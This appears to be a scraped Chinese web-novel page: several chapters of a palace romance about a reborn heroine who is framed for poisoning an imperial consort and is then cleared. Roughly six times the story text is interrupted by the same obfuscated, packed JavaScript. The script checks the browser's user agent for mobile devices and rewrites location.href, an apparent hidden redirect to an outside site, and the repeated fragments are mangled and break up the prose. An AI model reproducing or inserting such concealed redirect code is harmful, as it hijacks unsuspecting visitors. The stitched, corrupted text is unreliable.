;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140949|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当真不简单。 两位风头最盛的皇子，竟都被她拿下。 宴会进行到一半，几个准备才艺的女娘也都表演完毕。 萧贵妃笑意吟吟的提议。 “陛下，这些年轻人怕是早就坐不住，如今湖心亭秋色正浓，不如放她们自己逛逛。” 皇帝当然明白萧贵妃的意思。 这是要给她们制造机会。 他虽然想先解决了呼延婷的亲事，可她似乎就是认准了老四。 也罢，既然管不动，那就随便吧。 皇帝同意了萧贵妃的提议。 席上的年轻男女早都坐不住。 便瞬间四散而开。 只留几位嫔妃陪着皇帝。 沈晚眠刚踏出宴会厅几步，便被六，九二位公主拦住。 裴汐和一脸坏笑道：“这不是沈二先生吗，别来无恙啊。” 沈晚眠看到她的表情，就知道她准没好事。 “二位殿下好久不见，我还有事，便不奉陪了。” 裴汐和才不会轻易放过她，刚才席间她一直注意着五兄和七兄。 这俩人眼睛都快黏她身上了。 “不知上次我的建议，沈二先生听了多少？” 裴舒妍听的一头雾水，这二人在打什么哑谜？ “你们说什么呢？” 沈晚眠怕裴汐和“口出狂言”，赶紧将二人拉到偏僻处。 “九殿下，算我求你了，这事就此揭过吧，我一个都高攀不起。” 裴舒妍想到秋猎时沈晚眠与小七的互动，突然就明白过来为何二人如此别扭。 “小七喜欢你！” 裴舒妍惊呼出声，吓的沈晚眠赶紧捂住她的嘴。 随后她意识到自己的失态，又把手收了回去。 她紧张的左右看看，还好附近没有人。 “臣女冒犯，还请六殿下恕罪。” 裴舒妍无所谓的摆摆手。 “无妨，不过你说一个都不想选，怎么？还有别人也……” 她明明说的是高攀不起！六殿下也真是的，怎么将她的心里话说出来了。 “一定是五兄！对不对！” 裴汐和用看傻子的眼神看她。 都这么长时间了，她才看出来。 “那你更喜欢谁啊？” 第74章 落水 她们做公主的都这么闲吗，姓裴的到底什么时候才肯放过她。 “二位殿下都很好，是我不配。” 裴舒妍自动忽略了她的话。 “依我看你选小七吧，日后季公子做了我的驸马，咱们还能一起玩。” 听到季少渊的名字，沈晚眠下意识看向裴汐和。 她神色淡淡的，看不出任何异样。 自从呼延婷入京，就在没听过九殿下与六殿下抢探花郎的传闻了。 看来她脱离了上辈子的命运。 作为朋友，沈晚眠真心为她高兴，可也为她担忧。 季少渊不是那种会轻言放弃的人。 从上一世他骂了自己好多年就能看出。 但愿这狗血的三角虐恋能早点结束。 要是为了这个伤了姐妹情谊，实在不值当。 见沈晚眠不说话，裴舒妍还以为她害羞了。 “本公主替你决定了，就选小七，我这就去替你向小七表明心意。” 裴舒妍当即就要去寻裴行止。 沈晚眠见她要来真的，赶紧跑到她前面拦住她。 “殿下，您饶了我吧，我就想过安生日子，您的厚爱我真的承受不住啊。” 裴汐和也劝她：“别添乱了，你是想看她成为众矢之的吗？” 父皇绝不可能同意沈晚眠和七兄的婚事。 至少现在不会同意。 呼延婷的和亲对象没有彻底确定下来之前，父皇不会给任何一位皇子定亲。 他得让蒙国的人看到他的诚意。 更况且刚才在席上，父皇还想撮合七兄和呼延婷。 三人推搡之间，裴行止和裴宴从道路两端朝她们走来。 沈晚眠看到时，二人已经要到她眼前。 她要彻底被姓裴的包围。 没有裴舒妍还好，至少大家都是体面人。 可她嘴太快，太藏不住事，她都不敢想接下来会有多尴尬。 三十六计走为上计。 沈晚眠松开裴舒妍就要往反方向走。 但她的动作还是晚了一步，裴宴已经到了她身后。 “沈晚眠你站住。” 裴宴拉过她的胳膊，将她拽回。 “皇兄何必强人所难。” 裴行止也不甘示弱，直接拽过她另一只胳膊。 沈晚眠趁机挣脱开裴宴的束缚。 可她想收回另一只胳膊时，却发现对方握的死死的。 “你还想逃避到什么时候？” 从猎场时，她就一直在回避自己。 明明他们早已互定终身，为何她总是若即若离。 他不明白她的心里到底在想什么。 她就像一场雾，明明近在咫尺，却又怎么都抓不住。 沈晚眠更不好受。 她想专心复仇，旁的事以后再说。 可她的行动，总是快过她的理智。 如果在猎场时，她没做那些荒唐事，现在她的处境肯定不是这般。 可老天哪里会给她第二次机会。 更荒唐的是，她竟然不后悔！ “你放开我。” 眼下唯一的破局之法就是逃避。 至少她只想到这一种。 “她叫你放开她，你听不到吗？” 裴宴这些天也想明白了，他早已在不知不觉中爱上沈晚眠。 只是他一直没察觉。 无论如何，他都要取得沈晚眠的原谅，与她再续前缘。 裴行止终究还是放手了。 他不愿强迫她，虽然他脑海中一直有一个声音叫嚣着，让他别再忍耐。 两个郎君抢一个女娘的戏码，竟然发生在她们的兄弟身上。 裴舒妍与裴汐和既兴奋，又害怕。 太刺激了，要是被旁人看到，那就更“刺激”了。 不知老天是否听到了她们的心声。 竟真的送来一人到她们身边。 不过这人没看到刚才“两男争一女”的场面。 叶清瑶找了半天太子，终于让她在湖边的小路上看到了太子的身影。 她娇羞又激动的跑上前。 “太子殿下，您怎么在这儿，让人家好找。” 叶清瑶来到她们身边，丝毫没察觉到剑拔**张的气氛。 裴舒妍和裴汐和皆起了一身鸡皮疙瘩。 怎么真的有没长眼的。 再说了两个公主一个皇子还在这里站着呢，她连礼都不行吗？ 裴宴连眼神都没给她。 直接拂袖将她甩开。 叶清瑶没料到太子会这样对她。 直接一个踉跄跌进了旁边的湖里。 “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140950|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊，太子殿下救我！” 裴宴也蒙了，他没想把人推进湖里啊。 她怎么……如此不小心。 “你们……谁擅水性，下去把她捞上来……” 这里实在偏僻，附近没有宫人，只能靠他们救人。 其余四人没一人动，都将目光移到他身上。 “看孤做什么？难道……还想孤去捞不成……” 他的声音越来越小，背后的呼救声也越来越小。 算了，他捞就他捞。 裴宴扑通一声跳入水里，很快便抓住死命翻腾的叶清瑶。 二人上岸后，叶清瑶浑身湿漉漉的瘫坐在地上，明显还没缓过神。 裴宴本想让她别将今日的事说出去。 看到沈晚眠后，他又改了主意。 他蹲下身，动作轻柔的替叶清瑶将贴在脸庞的湿发别在耳后。 “没事吧，方才是孤不好，没吓到你吧。” 什么情况！五兄这就移情别恋了？ 裴汐和与裴舒妍对视一眼。 二人都从对方眼中看到了震惊。 叶清瑶受宠若惊。 她就知道，太子殿下心中有她。 “没事，多谢太子殿下相救。” 叶轻瑶娇羞道。 还谢呢，也不知刚才是谁把她推进去的。 沈晚眠在心中默默腹诽。 她和裴宴对上视线，直接给了对方一个白眼。 裴宴却理解错了她的意思。 她吃醋了！她心里还有自己! 好啊，他要让她也尝尝妒忌的滋味！ “孤还不知你叫什么名字？” 叶清瑶对上裴宴温柔如水的目光。 脸红的都要到耳后根。 “臣女姓叶，是工部尚书家的三女儿，名唤清瑶。” “溪月湛芳樽，松风清瑶瑟……清瑶。” 裴宴将她的名字轻声念了几遍。 “真是个好名字，比某些人的名字有意义多了。” “刚才吓到了吧，孤带你去换件衣裳。” 裴宴直接将人打横抱起。 叶清瑶惊呼一声，下意识搂上他的脖子。 裴宴柔声安慰道：“别怕，孤在。” 沈晚眠听到他的话，恶心的都想吐。 故意膈应谁呢。 第75章 背锅 不过这样也好，无论裴宴真心还是假意，至少不会继续缠着自己。 吉祥突然慌慌张张而来。 “小姐，不好了！萧贵妃出事了！” 四人回到湖心亭大厅。 大厅里气氛异常紧张，与方才的热闹截然不同。 只见众多宫女太监来回奔走，脸上满是惊恐之色。 沈晚眠心下一紧，快步朝着萧贵妃所在的偏殿走去。 踏入偏殿，便看到贵妃面色惨白地躺在床上，嘴唇发紫，牙关紧咬，时不时发出微弱的呻吟。 皇帝守在床前，脸上的震怒与担忧交织。 贵妃的贴身侍女跪在地上哭泣，却又不敢哭出声音。 这时，太医神色凝重地走进来，他身着一身深色长袍，手持药箱，目光沉稳而敏锐。 他先向在场的众人微微行礼，随后迅速来到贵妃床边。 太医俯下身，轻轻抬起贵妇的手腕。 手指搭上她的脉搏，眉头微微皱起，眼神专注而严肃，似乎在用心感受着脉搏的跳动。 片刻后，太医放下贵妃的手腕。 从药箱中取出一根细长的银针，仔细地观察了一番后，将银针缓缓刺入贵妃的穴位。 他的手法熟练而精准，每一个动作都显得沉稳有力。 银针插入后，太医目不转睛地盯着银针的变化，脸上的神情愈发凝重。 接着，太医又翻开贵妃的眼皮，观察了一下她的瞳仁。 皇帝略带焦急问道：“如何了？” 经过一番细致的检查，太医站起身来，微微欠身道：“启禀陛下，贵妃所中之毒，颇为奇特，还需提供贵妃这两日所接触过的东西，微臣才可确定。” 说罢，皇帝大袖一挥。 “来人，将贵妃这两日接触过的东西，都呈上来。” 整个偏殿内，弥漫着紧张且压抑的气氛。 众人都在焦急地等待着太医的消息。 就在这时，一阵慌乱的脚步声由远及近。 “嘎吱”一声，殿门从外面被推开。 裴宴满脸焦急，发丝凌乱，就连衣服的带子都系错了地方。 显然是听到消息便狂奔而来。 此刻他顾不得利益体统，三步并做两步，猛地扑到萧贵妃的塌前。 “母妃…你……” 萧贵妃面白如纸，双目紧紧闭着，额头还布满了豆大的汗珠。 裴宴的眼眶瞬间红了，他颤抖着手替萧贵妃擦去额头上的汗。 “到底是谁要害母妃！父皇，您一定要为母妃做主啊。” 皇帝面色沉重的点点头。 “太医已经看了，你母妃定能无恙。” 萧贵妃与皇帝，可以说是青梅竹马。 即使后面皇帝有了三宫六院，萧贵妃在他心中的地位依然不减。 不然也不会轮到裴宴当太子。 “陛下，查到了，是茯苓糕，昨日贵妃娘娘食用的茯苓糕中，被人动了手脚！” 听到太医的话，负责置办宫宴的几位松了一口气，还好与宴席上的食物无关。 沈晚眠却心头一紧。 昨日的茯苓糕，是她做的！ 太医赶紧将他查到的线索呈上。 皇帝皱起眉头，已经在要发作的边缘。 “是有人在贵妃的吃食里下毒？” 太医回答道：“不是，是有人在制作茯苓糕时，往里面加了雄黄酒。” 皇帝问道：“雄黄酒不是解毒的吗？” “陛下有所不知，茯苓与雄黄相克，二者若同时服用，轻者**昏迷，重则当场毙命！好在娘娘所食不多，微臣这就去为娘娘配药，服下药三个时辰内，娘娘便可苏醒。” 卢珊珊险些站不稳，染秋不是说这东西不会致命吗，皇后竟然骗她！ 还好萧贵妃没吃太多，不然后果她不敢设想。 太医退下为萧贵妃配药。 皇帝怒视一圈跪在地上瑟瑟发抖的丫鬟，大发雷霆道：“说，这东西是谁做的！” 小宫女们都吓破了胆，生怕下一秒皇帝就让她们脑袋搬家。 唯独慧心还算理智。 “是沈晚眠！是她，昨日的糕点是她做的！” 刹那间，沈晚眠被无数双眼睛盯上。 有幸灾乐祸的，有看戏的，还有为她担心的。 沈晚眠会酿酒宫中人人皆知，今日她怕是难逃其咎。 “臣女冤枉，昨日臣女的确送了糕点给贵妃娘娘，但这加了雄黄酒的，并非出自臣女之手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145048|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还请陛下明鉴！” 就在沈晚眠成为众矢之的时。 卢珊珊悄悄的将叶清瑶拉到无人处。 叶清瑶甩开她的手，十分不耐道：“你干什么？” 她还想看看陛下会怎么处理沈晚眠呢。 “我知道你不喜我，但我并非你的敌人，我想嫁的是宸王，你想做的是太子妃。” 叶清瑶感觉她的话说的莫名其妙。 不是对手就不能讨厌了吗。 “你到底想干嘛？” 卢珊珊也不和她绕圈子。 “你想嫁给太子，就要解决掉沈晚眠，待会我会跟陛下说看见沈晚眠准备雄黄酒，你替我作证。” 叶清瑶被她荒唐的言论气笑，这事和她有什么关系，她何必要趟这趟浑水。 “你脑袋被驴踢了吧，这和我……不对！莫非是你……” 卢珊珊急忙堵住她的嘴。 “此事背后之人你我都不能得罪，这件事你必须得干，否则她不会放过你！” 明目张胆的对贵妃下毒，还能让卢珊珊替她做戏。 叶清瑶只能想到一人，那就是太后！ 毕竟太后喜欢珍妃，更喜欢她背后的卢家。 早就听说太后与萧贵妃不和，没想竟到了这种地步。 甚至她人还未到京中，就已将手伸到了永和宫。 看她这副表情，卢珊珊知道她的忽悠奏效了。 虽然证据齐全，难保不会发生变故，若是败露，她也能拉个垫背的。 她也不怕叶清瑶会揭发她，毕竟她不傻，知道想要嫁给太子，沈晚眠就是最大的障碍。 即使她不答应帮自己，也不会主动帮沈晚眠。 “不是已经有你了吗，还要我做什么？” “我与她素来不和，我的话没有说服力，她刚帮了你，你的话才可信。” 叶清瑶内心在摇摆。 她并不全信卢珊珊的话。 可这的确是个好机会……算了，见机行事吧。 侍卫已经从沈晚眠宫里搜出雄黄酒。 此刻正在向皇帝回禀。 皇帝看到雄黄酒，脸色彻底阴沉下来。 “放肆！” 帝**怒，瞬间所有人都跪在地上。 第76章 反转 “陛下，臣女能作证，前些日子臣女在沈晚眠房中看到了雄黄，当时叶三小姐也在。” 卢珊珊铁了心要拉叶清瑶下水。 众人又将目光转移到叶清瑶身上。 叶清瑶在心中将卢珊珊的祖宗十八辈都问候了一遍。 最终还是妥协了。 “是真的，臣女也看到了。” 人证物证俱在，皇帝气的直接从位子上站起。 “贵妃待你这般好，你竟恩将仇报，给她下毒，你到底是何居心！” 沈晚眠也猜到，肯定是皇后搞的鬼。 只是她没想到，叶清瑶竟然也…… 她本以为，自己帮了她，至少她不会害自己。 “陛下息怒，此事真的不是臣女所为，臣女感激贵妃娘娘还来不及，怎么会害她？再者害死贵妃娘娘对臣女没有半点好处，臣女为何要那样做？” “臣女入宫时孑然一身，什么都没带，要想酿酒，必得从内务府取原料，陛下不妨查查内务府的记录。” 如今内务府已经全都换成萧贵妃的人。 皇后应该没机会下手。 “不必了，父皇，此事不是她做的。” 一直没说话的裴宴突然为沈晚眠辩解。 “殿下，她害的可是您的母妃，您何必为她开脱。” 卢珊珊跪在地上，言辞恳切道。 皇帝也有些疑惑，太子到底怎么想的？ “你既说她不是凶手，可有什么证据。” 裴宴深吸一口气。 “因为她，对雄黄过敏。” 此话一出，所有人都懵了，包括沈晚眠。 她雄黄过敏？她怎么不知道！ 她都不知道的事，裴宴又是如何得知？ 难道他是为了帮自己，才故意扯谎。 “沈晚眠，太子说的可是真的？” 皇帝已经冷静下来，仔细想想，沈晚眠的确没有理由动手。 沈晚眠不敢骗皇帝，只能硬着头皮回答道。 “回禀陛下，臣女……不知。” 众人又将目光转移到太子身上。 没想到太子竟对沈晚眠这般上心。 她害的可是萧贵妃，他的母妃。 他都能为了保下她欺骗圣上。 裴宴知道多说无益，便将侍卫手里的雄黄酒拿过，洒了一些到沈晚眠身上。 不过片刻，沈晚眠的脖子，脸，甚至手背，都起了红疹。 沈晚眠觉得浑身奇痒无比，拉开衣袖，就连胳膊上都开始泛红。 “太医，快来看看，这是过敏吗？” 皇帝怕太子想包庇沈晚眠，便向太医求证。 太医细细端详一番，又对沈晚眠把了脉。 “回禀陛下，确为过敏症状无疑，对雄黄过敏的人，若是皮肤接触，便会浑身起红疹，瘙痒难耐，若是不小心内服，便会陷入昏迷，重则还会闭气，危及性命。” 先不说太子是如何知晓沈晚眠对雄黄过敏的。 只单凭沈晚眠并不知自己对雄黄过敏这一点。 就可以看出，她并未接触过雄黄。 也就不存在她故意毒害萧贵妃。 慧心忽然恍然大悟：“难怪昨天娘娘只吃了几口，说口味变差了，原来是有人调换了沈二小姐的糕点。” “你起来吧。” 皇帝让沈晚眠起身，随后他走到卢珊珊身边，怒声质问。 “说，是谁指使你，让你陷害贵妃，陷害沈家女娘！” 卢珊珊彻底慌了，她没想到，事情会发展到这种地步。 她哆哆嗦嗦的跪在地上，只能苍白的为自己辩解。 “是……是臣女看错了，对，肯定是臣女看错了，才冤枉了沈二小姐……” 皇帝又将矛头对准同样惊慌的叶清瑶。 “哦？看错了，那你呢，也是看错了？” 叶清瑶伏在地上，又气又怕。 都怪这个**，都怪她拉自己下水。 “陛下，臣女不是故意要污蔑沈二小姐，只是刚才卢珊珊威胁臣女，臣女才犯了糊涂，别的事臣女一概不知啊。” 眼下保住自己才是最要紧的，不管卢珊珊背后是谁，总大不过陛下。 怕皇帝不信，叶清瑶爬到沈晚眠脚下，声泪俱下的向她道歉。 “对不起，沈二小姐，真的对不起，我不是故意要害你，你有恩与我，我却恩将仇报，要打要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145049|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚我都认，只是陷害贵妃一事真的与我无关，都是卢珊珊，都是她做的啊。” 卢珊珊怎么允许她撇清自己，本来她就是想拉她垫背。 她直起身，指着叶清瑶的鼻子骂道：“怎么会有你这般颠倒黑白的人，明明是你威胁我……” “够了！” 皇帝不想听她们互相攀咬，直接出言打断了卢珊珊的话。 “来人，将这二人押入大牢，细细审问，永和宫中所有伺候的人，一并带下去，等贵妃醒了再另行发落。” 皇帝雷厉风行，不给她们狡辩的机会。 几个侍卫得了令，立马上前将二人按住往后面拖。 慌乱间，卢珊珊看到了珍妃。 “姑母！姑母救我，我是被冤枉的！” 卢珊珊的声音越来越远，直至消失，珍妃也没上前为她求情。 她知道，此刻皇帝正在气头上，她现在去求情，恐怕会适得其反。 再者自己已经再三警告她不要在公里作妖，是她自己不听。 不过谋害贵妃这种事，她应该做不来，背后大概另有其人。 陛下肯定也能想到这一层，他不会真的对她们怎么样。 让她受些苦头，长点教训，也好。 “珍妃，这就是你教的好侄女！？” 卢珊珊不提，皇帝都没想到这一茬。 珍妃赶紧上前请罪。 “是臣妾无能，还请陛下恕罪。” 珍妃的姿态摆的很低，皇帝本想继续说些什么，最终还是没说出口。 他知道，整个后宫最无欲无求的，就是珍妃。 当初太后和前朝大臣，都极力推举老七当太子。 但他私心里，还是偏心当时还是妃位的萧贵妃一些。 于是他“不小心酒后吐真言”，还“恰好”让珍妃听了去。 结果当天，珍妃就带着老七来向他请罪。 说老七实在不能胜任太子之位。 方才珍妃的模样，与她带着老七来找他让位时的模样，逐渐重合。 “罢了，都下去吧，朕想单独陪陪贵妃。” …… 所有人都离开了，但他们似乎都忘了。 第77章 疤痕 沈晚眠身上还起着红疹。 此刻她痒的着实厉害，整个人像是被火烤着一般，又痒又热。 刚才在皇帝面前，她不敢有大的动作。 现在她终于忍不住，开始用力的挠自己胳膊。 痒痒痒痒痒！好痒！好热！ 吉祥心疼的都要落泪，她家小姐怎的这般命苦。 走到哪里都被人陷害。 看着自家小姐娇嫩的皮肤红肿成这个样，吉祥实在不忍。 “小姐您别挠了，都快挠出血了，我这就去请太医，您先忍忍。” 吉祥刚走出去两步，便与裴行止碰上。 “你家小姐呢，出什么事了！？” 裴行止刚安慰了珍妃两句，转头就不见沈晚眠的身影。 于是他便来寻沈晚眠，结果看到吉祥眼角挂着泪，还独自一人往这边跑。 “殿下，还请您救救我家小姐。” 裴行止赶到时，沈晚眠已经被烧的有些模糊了，甚至连钻心的痒意都要感觉不到。 她靠在假山上，努力让自己保持清醒。 裴宴到底是想救她还是想害她！ 裴行止的心像是被人狠狠揪住。 他的脸上满是慌乱与心疼，他疾步上前，一把将沈晚眠抱起。 沈晚眠被他的动作吓了一跳，脑袋都清醒了几分。 这是在宫里，如果被旁人瞧见…… “你放我下来！我自己能走！” 裴行止全当听不见，抱起她就往汤泉宫的方向而去。 沈晚眠见状，只等闭眼装死。 她若在他怀中活蹦乱跳的被旁人瞧见，那才是真正的绝望。 裴行止的脚步很快，吉祥快步跑都被他甩出一大截。 阿烟早已在汤泉宫候着。 裴行止一进门，阿烟便从他手中接过沈晚眠。 “都准备妥了吗？” 阿烟点点头：“属下带小姐去了。” 沈晚眠再次睁眼时，阿烟已经上手脱她的衣服了。 二人都被对方吓了一跳。 “小姐，你醒了。” “阿烟，你干什么呢！” 阿烟以为沈晚眠昏过去了，才想替她更衣。 “小姐快些更衣吧，药泉已为您备好。” 沈晚眠有气无力的点点头。 “多谢，你先出去吧，我自己来就好。” 她不想让阿烟看到，她身上的疤。 阿烟离开后，沈晚眠将身上的衣服褪下。 许是烧的有些糊涂，又或许是她太痒了，都忘了换上阿烟为她准备的衣服。 随后她用尽最后一丝力气，爬进药泉。 汤泉宫内烟雾缭绕，温热的泉水漫过她的身体。 体内的燥热和痒意，瞬间得到缓解。 沈晚眠缓缓吐出一口气，今日算她逃过一劫，不，应该是三劫。 她才入宫多长时间，就被这么多人盯上。 往后行事还需更小心。 不过这些日子，她几乎把宫中人接触了个遍，也没发现有什么不对劲的。 一股无力感突然将她包围。 毕竟那是十年后的事，而且这次她选择了和上一世不同的路。 要想揪出凶手，岂不难如登天。 “你好些了吗？” 屏风外突然传出的声音，将她的思绪拉回。 “好……好些了。” 虽然她现在泡在药泉中，和对方还隔着一层屏风。 但她此刻什么都没穿，有种莫名的羞耻感。 屏风上倒映出她的身影，裴行止不禁脸色一红。 阿烟准备的什么衣服，怎么跟没穿一样。 “殿下，谢谢你，总是在我需要帮助的时候出现。” 似乎她欠他的，越来越多了。 隔着屏风，裴行止听不清她在讲什么。 于是他抬步越过屏风。 “你说什么？” “啊！” 沈晚眠见到他的那一刻，整个人都傻了，他怎么进来了！ 还好药泉够深，加上空气中的雾气，他应该没看到什不该看的。 她匆忙转过身，裴行止亦是如此。 她怎么没穿衣服！ 裴行止脚步凌乱的退回到屏风的另一侧。 “抱歉，我以为你穿了衣服……” 这一幕怎么有些似曾相识，好像她第一次去他府上时，也是这般场景。 明明只是匆匆一撇，但却久久在他脑海挥散不去。 裴行止只感觉心脏都要从胸腔跳出来。 “你看到了吗？” 比起他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159089|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌乱，沈晚眠异常冷静。 裴行止下意识摇头，又想到她看不见，才又补充道：“没……我什么都没看到。” 里面突然没了声音。 过了许久，他都没听到她的回话。 裴行止心头一紧，她不会生气了吧。 沈晚眠将自己用布裹起，随后来到屏风另一侧。 裴行止有些懵，她怎么出来了？ “你……” 沈晚眠一把扯下肩头一侧的布。 “殿下，您看到了吗？” 她白皙消瘦的肩膀上，竟盘旋着一道狰狞可怖的长疤。 裴行止的眼神瞬间凝固，他嘴唇微微颤动，向前迈了一步，却又在触及到她冰冷的目光后停住。 “看到了吧，您还喜欢吗？” 上一世，在她的大婚之夜，裴宴因为这条疤，直接拒绝与她同房。 之后更是对她百般嫌恶。 最后，她实在没办法，只能秘密寻了青楼的刺青师，将疤痕用图案盖住。 裴宴这才与她圆房。 椎骨之痛，她不愿忍受第二次，也没人值得让她忍受第二次。 既然说的话起不到作用。 那就来点实际的。 “殿下，您还喜欢吗？” 裴行止抬起头，对上她略带讥讽的目光。 他什么都没说，只一个箭步上前，长臂一伸，将她揽入怀中。 “很疼吧，是我不好。” 他永远忘不掉，九年前，那个义无反顾挡在他身前的瘦小身影。 那个替他挡下致命一击的身影。 裴行止将头埋到她的肩颈，双臂环的更紧了。 “对不起，对不起，对不起。” 三声道歉，一句比一句哽咽。 沈晚眠感觉肩头一湿，她呆呆的站在原地，有些不知所措。 她想过很多种情况。 他会逃跑，或者会安慰，会心疼。 就是没想过他会愧疚，会道歉。 她动作僵硬的抬起手臂，略带迟疑的拍了拍他的背。 “别哭了，都过去了。” 明明需要安慰的是她，怎么反倒他哭个不停。 良久，裴行止才止住呜咽。 他眼泪汪汪的抬起头，直视着沈晚眠的眼睛。 第78章 尝试 “对不起，是我不好，是我没保护好你……” “昭昭，你总想着推开我，是因为这道疤吗？” 沈晚眠心里十分复杂，她不知该如何开口。 “不是的，我……” 裴行止重新将她拥入怀中。 “我知道你有你的苦衷，但是，能不能别再推开我了，好吗？” “我说过，无论你想做什么，我都支持你，我会是你永远的后盾。” 沈晚眠紧咬着唇，手指不自觉抓住他的衣襟。 “好，我答应你。” 或许复仇和他，并不冲突。 或许她可以试一试，不一样的人生。 裴行止声音微微颤抖，带着难以抑制的喜悦：“好，你答应了，以后不许反悔。” 回永和宫的路上，沈晚眠忍不住偷偷笑了好几次。 吉祥忍不住调侃道：“小姐，您就是笑得再灿烂，殿下也看不着啊。” 沈晚眠敲了一下吉祥的脑袋。 “在胡言乱语，我就把你的那些话本子都烧了。” 这种感觉很奇妙，是她活了两辈子，从来没有过的。 方才裴行止说要送她，被她拒绝了。 她不知该如何继续和他相处。 上一世，她们可是叔嫂关系。 如今这般还真是让人难为情。 主仆二人一路打打闹闹的回到永和宫。 沈晚眠推开房门，脸上的笑容瞬间凝固了。 裴宴一脸阴沉，似乎已经等了她很久。 “小姐，你跑那么快干嘛，是不是……” “害羞了”三个字还没说出口，吉祥猛的刹住嘴。 太子怎么在小姐房间！ “吉祥，你先下去，我有话要单独和太子殿下“好好讲讲”。” 吉祥收起脸上的笑意，有些担忧的看向沈晚眠。 沈晚眠拍了拍她的手，示意她安心。 吉祥行了一礼，便下去了。 沈晚眠关上房门，房间里只剩她和裴宴两个人。 “太子殿下不应该去守着贵妃娘娘吗，来我这里做什么？” 裴宴上前两步，紧紧抓住她的手臂。 他双目猩红，语气激动。 “刚才老七抱着你一路走到汤泉宫，宫里都传开了，你就这么不在意自己的名节是吧。” 沈晚眠挣脱开他的束缚。 “与你何干？” “还有，你怎么知道我对雄黄过敏？” 这件事连她自己都不知道，他是怎么知道的。 提到这里，裴宴目光有些躲闪。 那股子兴师问罪的劲头，也淡了几分。 “上一世有人把你喝的酒换成了雄黄酒，等我和母妃赶到时，你已经晕过去了。” “而后太医给你诊脉，说你这是过敏了。” 裴宴的这番话，让沈晚眠想起了她刚嫁给裴宴的那段日子。 当时她不得裴宴的喜欢，有时就会借酒浇愁。 有一次她喝下一坛酒，整整睡了三日。 虽然有些奇怪，但她并没多想。 她之前一直有这样的习惯，伤心难过时就会失眠很多个夜晚。 然后再从某个晚上，一直睡很久。 这个习惯是她小时候被拐卖的那段时日，为了防止夜里发生意外而养成的。 没想到竟然是有人把她的酒给换了。 换她酒的人一定知道萧贵妃的禁忌，才故意想要陷害她，却没想到她对雄黄过敏。 沈晚眠问道：“你为何从未跟我讲过？” 莫非此事与他有关，亦或者，换她酒的，就是他！ 裴宴被她问的更心虚了，他转过头，不敢看她眼睛。 “我……我忘了，东宫每日这么多事，我哪里有空专门去记这点小事。” 小事？险些致命的事在他眼里只是小事。 往后十年，哪怕他对她有一丝丝在意，也不会到今日才将此事说出。 “既是小事，殿下何必跑这一趟，想必贵妃娘娘就要醒了，殿下回去吧。” 话不投机半句多，与其两相厌，不如不见。 “老七喜欢的，不过是你的外表，如果他知道你身上有条丑陋无比的疤，你觉得，他还敢要你吗。” 听到他的话，沈晚眠噗呲一声笑出声。 她眼神里满是戏谑。 “他知道啊，他见过了。” 裴宴瞳孔骤缩，他身形一僵，似被定在原地。 “什么意思……你们……” 沈晚眠莲步轻移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 